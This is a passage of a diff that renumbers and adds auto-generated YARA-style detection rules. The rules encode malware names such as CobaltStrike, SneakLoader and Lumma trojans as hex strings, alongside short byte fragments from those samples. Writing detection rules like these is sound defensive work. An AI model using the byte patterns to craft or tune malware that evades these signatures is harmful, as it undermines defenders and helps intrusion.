00 38 01 32 47 01 88 42 04 8b c5 8b 4b 04 c1 e1 02 2b c1 8b 4c 24 24 0f b6 44 08 02 32 47 02 88 42 05 8b c5 8b 4b 04 83 c5 04 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=10 + +} +rule _InfrastructureShared_6056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 36 32 21 4d 54 42 00 0a 00 25 02 07 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 d2 6f 90 01 04 08 17 58 0c 08 06 6f 90 01 04 18 5b fe 04 90 00 01 00 09 00 53 75 62 73 74 72 } //18467 - $a_00_1 = {00 78 64 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 68 61 64 79 53 69 64 65 2e 41 21 64 68 61 00 64 00 31 01 53 68 61 64 6f 77 43 6f 6e 74 72 6f 6c 6c 65 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 53 68 61 64 6f 77 43 6f 6e 74 72 6f 6c 6c 65 72 2e 70 64 62 } //28265 + $a_00_1 = {00 78 64 00 00 0b 00 0b 00 03 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 50 49 43 61 6c 6c 73 2e 50 52 21 41 4d 54 42 00 0a 00 1e 81 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 01 00 09 81 01 61 74 74 72 69 62 75 74 65 01 00 09 81 01 44 6c 6c 49 6d 70 6f 72 74 } //28265 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28265) >=11 } -rule _InfrastructureShared_5785{ +rule _InfrastructureShared_6057{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 41 50 49 43 61 6c 6c 73 2e 50 52 21 41 4d 54 42 00 0a 00 1e 81 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 01 00 09 81 01 61 74 74 72 69 62 75 74 65 01 00 09 81 01 44 6c 6c 49 6d 70 } //18467 + $a_00_1 = {00 78 64 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 53 68 61 64 79 53 69 64 65 2e 41 21 64 68 61 00 64 00 31 01 53 68 61 64 6f 77 43 6f 6e 74 72 6f 6c 6c 65 72 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 53 68 61 64 6f 77 43 6f 6e 74 72 6f 6c 6c 65 72 2e 70 64 62 00 00 78 64 00 00 64 00 64 00 03 00 21 } //29295 + $a_54_2 = {3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 4f 67 69 6d 61 6e 74 00 01 00 0e 01 44 6f 77 6e 6c 6f 61 64 65 72 20 4d 4c 52 01 00 12 01 2d 2d 70 61 72 74 6e 65 72 5f 6e 65 77 5f 75 72 6c 3d 01 00 09 01 70 72 6f 66 69 74 72 61 } //18467 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29295+(#a_54_2 & 1)*18467) >=11 + +} +rule _InfrastructureShared_6058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -60012,7 +62830,7 @@ rule _InfrastructureShared_5785{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_5786{ +rule _InfrastructureShared_6059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -60023,7 +62841,7 @@ rule _InfrastructureShared_5786{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*30720) >=100 } -rule _InfrastructureShared_5787{ +rule _InfrastructureShared_6060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60033,7 +62851,7 @@ rule _InfrastructureShared_5787{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5788{ +rule _InfrastructureShared_6061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60043,7 +62861,7 @@ rule _InfrastructureShared_5788{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5789{ +rule _InfrastructureShared_6062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60053,7 +62871,7 @@ rule _InfrastructureShared_5789{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5790{ +rule _InfrastructureShared_6063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60063,7 +62881,7 @@ rule _InfrastructureShared_5790{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5791{ +rule _InfrastructureShared_6064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60073,7 +62891,7 @@ rule _InfrastructureShared_5791{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5792{ +rule _InfrastructureShared_6065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60083,7 +62901,7 @@ rule _InfrastructureShared_5792{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5793{ +rule _InfrastructureShared_6066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60093,7 +62911,7 @@ rule _InfrastructureShared_5793{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5794{ +rule _InfrastructureShared_6067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60103,7 +62921,7 @@ rule _InfrastructureShared_5794{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5795{ +rule _InfrastructureShared_6068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60113,7 +62931,7 @@ rule _InfrastructureShared_5795{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5796{ +rule _InfrastructureShared_6069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60123,7 +62941,7 @@ rule _InfrastructureShared_5796{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5797{ +rule _InfrastructureShared_6070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60133,7 +62951,7 @@ rule _InfrastructureShared_5797{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5798{ +rule _InfrastructureShared_6071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60143,7 +62961,7 @@ rule _InfrastructureShared_5798{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5799{ +rule _InfrastructureShared_6072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60153,7 +62971,7 @@ rule _InfrastructureShared_5799{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5800{ +rule _InfrastructureShared_6073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60163,7 +62981,7 @@ rule _InfrastructureShared_5800{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5801{ +rule _InfrastructureShared_6074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60173,7 +62991,7 @@ rule _InfrastructureShared_5801{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5802{ +rule _InfrastructureShared_6075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60183,7 +63001,7 @@ rule _InfrastructureShared_5802{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5803{ +rule _InfrastructureShared_6076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60193,7 +63011,7 @@ rule _InfrastructureShared_5803{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5804{ +rule _InfrastructureShared_6077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60203,7 +63021,7 @@ rule _InfrastructureShared_5804{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5805{ +rule _InfrastructureShared_6078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60213,7 +63031,7 @@ rule _InfrastructureShared_5805{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5806{ +rule _InfrastructureShared_6079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60223,7 +63041,7 @@ rule _InfrastructureShared_5806{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5807{ +rule _InfrastructureShared_6080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60233,7 +63051,7 @@ rule _InfrastructureShared_5807{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5808{ +rule _InfrastructureShared_6081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60243,7 +63061,7 @@ rule _InfrastructureShared_5808{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5809{ +rule _InfrastructureShared_6082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60253,7 +63071,7 @@ rule _InfrastructureShared_5809{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5810{ +rule _InfrastructureShared_6083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60263,7 +63081,7 @@ rule _InfrastructureShared_5810{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5811{ +rule _InfrastructureShared_6084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60273,7 +63091,7 @@ rule _InfrastructureShared_5811{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5812{ +rule _InfrastructureShared_6085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60283,7 +63101,7 @@ rule _InfrastructureShared_5812{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5813{ +rule _InfrastructureShared_6086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60293,7 +63111,7 @@ rule _InfrastructureShared_5813{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5814{ +rule _InfrastructureShared_6087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60303,7 +63121,7 @@ rule _InfrastructureShared_5814{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5815{ +rule _InfrastructureShared_6088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60313,7 +63131,7 @@ rule _InfrastructureShared_5815{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5816{ +rule _InfrastructureShared_6089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60323,7 +63141,7 @@ rule _InfrastructureShared_5816{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5817{ +rule _InfrastructureShared_6090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60333,7 +63151,7 @@ rule _InfrastructureShared_5817{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5818{ +rule _InfrastructureShared_6091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60343,7 +63161,7 @@ rule _InfrastructureShared_5818{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5819{ +rule _InfrastructureShared_6092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60353,7 +63171,7 @@ rule _InfrastructureShared_5819{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5820{ +rule _InfrastructureShared_6093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60363,7 +63181,17 @@ rule _InfrastructureShared_5820{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_5821{ +rule _InfrastructureShared_6094{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 43 2e 41 4c 43 4d 21 4d 54 42 00 01 00 35 01 89 c2 80 f2 01 20 ca 80 f1 01 89 c3 30 cb 20 c3 20 c1 08 d1 89 d8 30 c8 a8 01 ba bb a9 fa 28 bf 03 3b 62 cd 0f 45 d7 f6 c1 01 89 d0 0f 45 c7 f6 c3 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_6095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60373,7 +63201,7 @@ rule _InfrastructureShared_5821{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5822{ +rule _InfrastructureShared_6096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60383,7 +63211,7 @@ rule _InfrastructureShared_5822{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5823{ +rule _InfrastructureShared_6097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60393,7 +63221,7 @@ rule _InfrastructureShared_5823{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5824{ +rule _InfrastructureShared_6098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60403,7 +63231,7 @@ rule _InfrastructureShared_5824{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_5825{ +rule _InfrastructureShared_6099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60413,7 +63241,7 @@ rule _InfrastructureShared_5825{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_5826{ +rule _InfrastructureShared_6100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60423,7 +63251,7 @@ rule _InfrastructureShared_5826{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5827{ +rule _InfrastructureShared_6101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60433,17 +63261,37 @@ rule _InfrastructureShared_5827{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5828{ +rule _InfrastructureShared_6102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6d 61 78 2e 41 21 4d 54 42 00 01 00 3b 01 8b 8c 24 b0 00 00 00 68 19 00 02 00 89 8c 24 34 02 00 00 c5 f8 28 8c 24 28 02 00 00 c5 f0 57 8c 24 18 01 00 00 6a 00 50 c5 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 41 57 21 4d 54 42 00 01 00 32 03 48 89 c3 31 c0 39 c6 7e 90 01 01 89 c2 31 c9 83 e2 90 01 01 89 4c 24 90 01 01 8a 54 15 90 01 01 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5829{ +rule _InfrastructureShared_6103{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 54 49 21 4d 54 42 00 01 00 32 03 41 8b c9 41 ff c1 c1 fa 90 01 01 8b c2 c1 e8 90 01 01 03 d0 6b c2 90 01 01 2b c8 48 63 c1 0f b6 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6104{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 48 59 21 4d 54 42 00 01 00 32 03 8b c2 c1 e8 90 01 01 03 d0 6b c2 90 01 01 41 8b c8 2b c8 48 63 c1 0f b6 4c 04 90 01 01 41 30 0a } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60453,7 +63301,7 @@ rule _InfrastructureShared_5829{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5830{ +rule _InfrastructureShared_6106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60463,7 +63311,7 @@ rule _InfrastructureShared_5830{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_5831{ +rule _InfrastructureShared_6107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -60473,7 +63321,7 @@ rule _InfrastructureShared_5831{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_5832{ +rule _InfrastructureShared_6108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -60483,7 +63331,7 @@ rule _InfrastructureShared_5832{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_5833{ +rule _InfrastructureShared_6109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -60494,7 +63342,7 @@ rule _InfrastructureShared_5833{ ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*-30271) >=1 } -rule _InfrastructureShared_5834{ +rule _InfrastructureShared_6110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -60505,7 +63353,7 @@ rule _InfrastructureShared_5834{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-23) >=1 } -rule _InfrastructureShared_5835{ +rule _InfrastructureShared_6111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -60516,7 +63364,7 @@ rule _InfrastructureShared_5835{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28718) >=1 } -rule _InfrastructureShared_5836{ +rule _InfrastructureShared_6112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -60527,7 +63375,7 @@ rule _InfrastructureShared_5836{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*3678) >=1 } -rule _InfrastructureShared_5837{ +rule _InfrastructureShared_6113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -60539,7 +63387,7 @@ rule _InfrastructureShared_5837{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_23_2 & 1)*1) >=1 } -rule _InfrastructureShared_5838{ +rule _InfrastructureShared_6114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -60551,7 +63399,7 @@ rule _InfrastructureShared_5838{ ((#a_54_0 & 1)*18467+(#a_4e_1 & 1)*-23545+(#a_11_2 & 1)*400) >=1 } -rule _InfrastructureShared_5839{ +rule _InfrastructureShared_6115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -60561,7 +63409,7 @@ rule _InfrastructureShared_5839{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5840{ +rule _InfrastructureShared_6116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -60571,7 +63419,17 @@ rule _InfrastructureShared_5840{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5841{ +rule _InfrastructureShared_6117{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 73 69 6c 69 61 2e 45 52 59 47 21 4d 54 42 00 02 00 35 03 11 0a 07 16 07 8e 69 90 01 05 0c 07 16 03 11 04 08 90 01 05 11 0b 07 16 08 90 01 05 09 08 58 0d 11 04 08 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -60581,7 +63439,17 @@ rule _InfrastructureShared_5841{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_5842{ +rule _InfrastructureShared_6119{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 42 56 4c 21 4d 54 42 00 02 00 31 03 44 88 3c 18 48 ff c3 48 89 5d 90 01 01 48 81 fb 90 01 04 74 90 01 01 89 d8 83 e0 90 01 01 46 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -60591,7 +63459,7 @@ rule _InfrastructureShared_5842{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_5843{ +rule _InfrastructureShared_6121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60602,7 +63470,7 @@ rule _InfrastructureShared_5843{ ((#a_46_0 & 1)*16675+(#a_53_1 & 1)*21569) >=2 } -rule _InfrastructureShared_5844{ +rule _InfrastructureShared_6122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60612,7 +63480,7 @@ rule _InfrastructureShared_5844{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5845{ +rule _InfrastructureShared_6123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60622,18 +63490,29 @@ rule _InfrastructureShared_5845{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_5846{ +rule _InfrastructureShared_6124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 76 65 6d 61 72 69 61 2e 53 47 21 4d 53 52 00 01 00 29 01 00 7e 02 00 00 04 06 7e 02 00 00 04 06 91 20 17 07 00 00 59 d2 9c 00 06 17 58 0a 06 7e 02 00 00 04 8e 69 fe 04 0b 07 2d d7 01 00 09 } //16675 - $a_65_1 = {43 6c 69 65 6e 74 00 00 78 65 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 4e 61 74 69 76 65 50 61 79 6c 6f 61 64 5f 41 52 50 00 01 00 11 81 01 4e 61 74 69 76 65 50 61 79 6c 6f } //384 + $a_65_1 = {43 6c 69 65 6e 74 00 00 78 65 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 14 40 89 44 24 28 8b 44 24 24 8b 4c 24 28 2b c8 8b c1 83 f8 64 76 01 00 1c 40 48 8b 44 24 } //384 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*384) >=2 } -rule _InfrastructureShared_5847{ +rule _InfrastructureShared_6125{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 14 40 89 44 24 28 8b 44 24 24 8b 4c 24 28 2b c8 8b c1 83 f8 64 76 01 00 1c 40 48 8b 44 24 28 8b 40 28 48 8b 4c 24 30 48 03 c8 48 } //16675 + $a_89_1 = {24 68 ff 54 24 68 00 00 78 65 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 4e 41 4d 45 5f 4e 61 74 69 76 65 50 61 79 6c 6f 61 64 5f 41 52 50 00 01 } //-15989 + condition: + ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-15989) >=2 + +} +rule _InfrastructureShared_6126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60644,7 +63523,7 @@ rule _InfrastructureShared_5847{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25971) >=2 } -rule _InfrastructureShared_5848{ +rule _InfrastructureShared_6127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60655,7 +63534,7 @@ rule _InfrastructureShared_5848{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*25971) >=2 } -rule _InfrastructureShared_5849{ +rule _InfrastructureShared_6128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60666,7 +63545,7 @@ rule _InfrastructureShared_5849{ ((#a_46_0 & 1)*16675+(#a_af_1 & 1)*2603) >=2 } -rule _InfrastructureShared_5850{ +rule _InfrastructureShared_6129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60677,7 +63556,7 @@ rule _InfrastructureShared_5850{ ((#a_46_0 & 1)*16675+(#a_5b_1 & 1)*24188) >=2 } -rule _InfrastructureShared_5851{ +rule _InfrastructureShared_6130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -60688,18 +63567,29 @@ rule _InfrastructureShared_5851{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*22383) >=2 } -rule _InfrastructureShared_5852{ +rule _InfrastructureShared_6131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 43 6f 75 70 6f 6e 73 2e 73 6b 2e 4d 54 42 00 01 00 09 80 01 25 31 34 73 20 2d 20 25 64 01 00 27 80 01 25 31 34 73 20 2d 20 46 75 6e 63 74 69 6f 6e 20 24 25 78 2c 20 74 6f 6f 20 6d 61 6e 79 20 61 72 67 75 6d } //18467 - $a_73_1 = {00 78 65 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 49 31 32 